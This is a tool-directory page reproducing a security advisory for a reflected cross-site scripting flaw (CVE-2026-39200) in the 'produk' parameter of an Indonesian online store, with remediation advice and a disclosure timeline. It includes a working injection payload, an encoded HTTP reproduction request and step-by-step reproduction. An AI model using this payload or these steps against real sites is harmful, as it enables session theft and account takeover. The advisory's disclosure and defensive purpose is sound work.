Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39200 — The value of the produk request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload xbnw0"><script>alert(1)</script>skc2h was submitted in the produk parameter. This input was echoed as xbnw0\"><script>alert(1)</script>skc2h in the application's response. | Kitploit
Tools/GitHubGitHub/r00tali/cve-2026-39200
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingPapers & ResearchLearning & Education
GitHubr00tali/cve-2026-39200

CVE-2026-39200

View Repository
131 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

The value of the produk request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload xbnw0"><script>alert(1)</script>skc2h was submitted in the produk parameter. This input was echoed as xbnw0\"><script>alert(1)</script>skc2h in the application's response.

Share

CVE-2026-39200 — Reflected Cross-Site Scripting (XSS) in Toko Online RotI

Summary

A reflected Cross-Site Scripting (XSS) vulnerability was identified in the produk request parameter of the Toko Online RotI web application. The application fails to HTML-encode user-supplied input before reflecting it inside an HTML tag attribute that is encapsulated in double quotation marks. An attacker can craft a malicious URL that, when visited by a victim, executes arbitrary JavaScript in the context of the victim's browser session.

FieldValue
CVE IDCVE-2026-39200
Vulnerability TypeCWE-79 — Improper Neutralization of Input During Web Page Generation (Reflected XSS)
Affected ProductToko Online RotI (Indonesian online store)
Affected Parameterproduk
DiscovererUzair Ali (r00tali) — Penetration Tester / Bug Bounty Hunter
Discovery Date2026-07-03
CVE Assigned2026-07-12
Advisory Published2026-07-19

Vulnerability Details

The produk request parameter is copied verbatim into the value of an HTML tag attribute enclosed in double quotation marks. Because the application does not HTML-encode the user-supplied input before reflecting it, an attacker can break out of the attribute by submitting a payload that contains a closing double quote followed by an HTML/JavaScript payload.

Proof-of-Concept Payload

root@kitploit:~
xbnw0"><script>alert(1)</script>skc2h

When this payload is submitted as the produk parameter, the application echoes the input back into the response unescaped. The closing "> terminates the original attribute, and the injected <script>alert(1)</script> block is interpreted by the browser as a new HTML element, executing arbitrary JavaScript in the user's session.

Vulnerable Pattern (Conceptual)

The vulnerable HTML response looks like this:

root@kitploit:~
<!-- BEFORE injection -->
<input type="text" name="produk" value="USER_INPUT" />

<!-- AFTER injection with payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
                                                            ^^^^^^^^^^^^^^^^^^^^^^^^
                                                            Browser executes this

HTTP Request (Reproduction)

root@kitploit:~
GET /[vulnerable-endpoint]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [target-host]
User-Agent: Mozilla/5.0

HTTP Response (Excerpt)

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<html>
  <body>
    <!-- ... -->
    <input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
    <!-- ... -->
  </body>
</html>

Reproduction Steps

  1. Identify an endpoint in the Toko Online RotI application that reflects the produk parameter inside an HTML attribute (e.g., a product search, detail, or filter page).
  2. Replace the produk parameter value with the following payload:
    root@kitploit:~
    xbnw0"><script>alert(1)</script>skc2h
    
  3. Submit the request to the server.
  4. Inspect the server's response. The payload is echoed back unmodified inside the attribute, breaking out of the " and producing a valid <script> element in the DOM.
  5. Load the crafted response in any modern browser. A JavaScript alert(1) dialog is displayed, confirming arbitrary JavaScript execution in the victim's session.

Impact

A successful exploitation of this reflected XSS allows an attacker to:

  • Steal session cookies and authentication tokens, leading to account takeover.
  • Perform actions on behalf of authenticated users without their knowledge.
  • Redirect users to malicious sites (phishing / credential harvesting).
  • Inject malicious content into the application (defacement).
  • Capture keystrokes and form data submitted by the victim.
  • Exploit browser vulnerabilities for drive-by malware delivery.
  • Abuse the trust relationship between the user and the application domain.

Because the vulnerability is reflected, exploitation requires only that a victim clicks a crafted link, making this trivially weaponizable in phishing campaigns.

CVSS v3.1 (estimated): 6.1 (Medium) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N


Remediation

To remediate this vulnerability, the vendor should:

  1. HTML-encode all user-supplied values before they are reflected in HTML output. Specifically encode <, >, ", ', and & (e.g., &lt;, &gt;, &quot;, &#x27;, &amp;).
  2. Use the framework's built-in output-encoding helpers rather than manual concatenation. Examples:
    • PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
    • ASP.NET: HttpUtility.HtmlEncode(input) or <%: %> syntax
    • Python (Jinja2): {{ input }} (auto-escapes by default)
  3. Set a strict Content-Security-Policy (CSP) response header to limit the impact of any remaining injection:
    root@kitploit:~
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
    
  4. Set the HttpOnly and Secure flags on all session cookies to prevent JavaScript from reading them.
  5. Validate the produk parameter against an allow-list of expected product identifiers (numeric IDs, slugs, etc.) and reject anything that doesn't match.
  6. Add X-Content-Type-Options: nosniff to prevent MIME-type sniffing of response bodies.

Disclosure Timeline

DateEvent
2026-07-03Vulnerability discovered during authorized security testing
2026-07-03CVE ID requested from MITRE via cveform.mitre.org
2026-07-12CVE-2026-39200 assigned by MITRE Assignment Team
2026-07-19Public advisory published

Discoverer

** Uzair Ali (r00tali)** — Penetration Tester / Bug Bounty Hunter / Security Researcher

  • GitHub: https://github.com/r00tali

References

  • OWASP — Cross-Site Scripting (XSS)
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • PortSwigger — Reflected XSS
  • MITRE CVE Record — CVE-2026-39200

Disclaimer

This advisory is published for educational and defensive purposes only. The vulnerability was reported through the responsible disclosure process via the MITRE CVE Assignment Team. No confidential vendor information, customer data, or proprietary code is disclosed. The proof-of-concept uses a benign alert(1) payload and is intended to demonstrate the existence of the bug, not to facilitate attacks against the live service.

Download Tool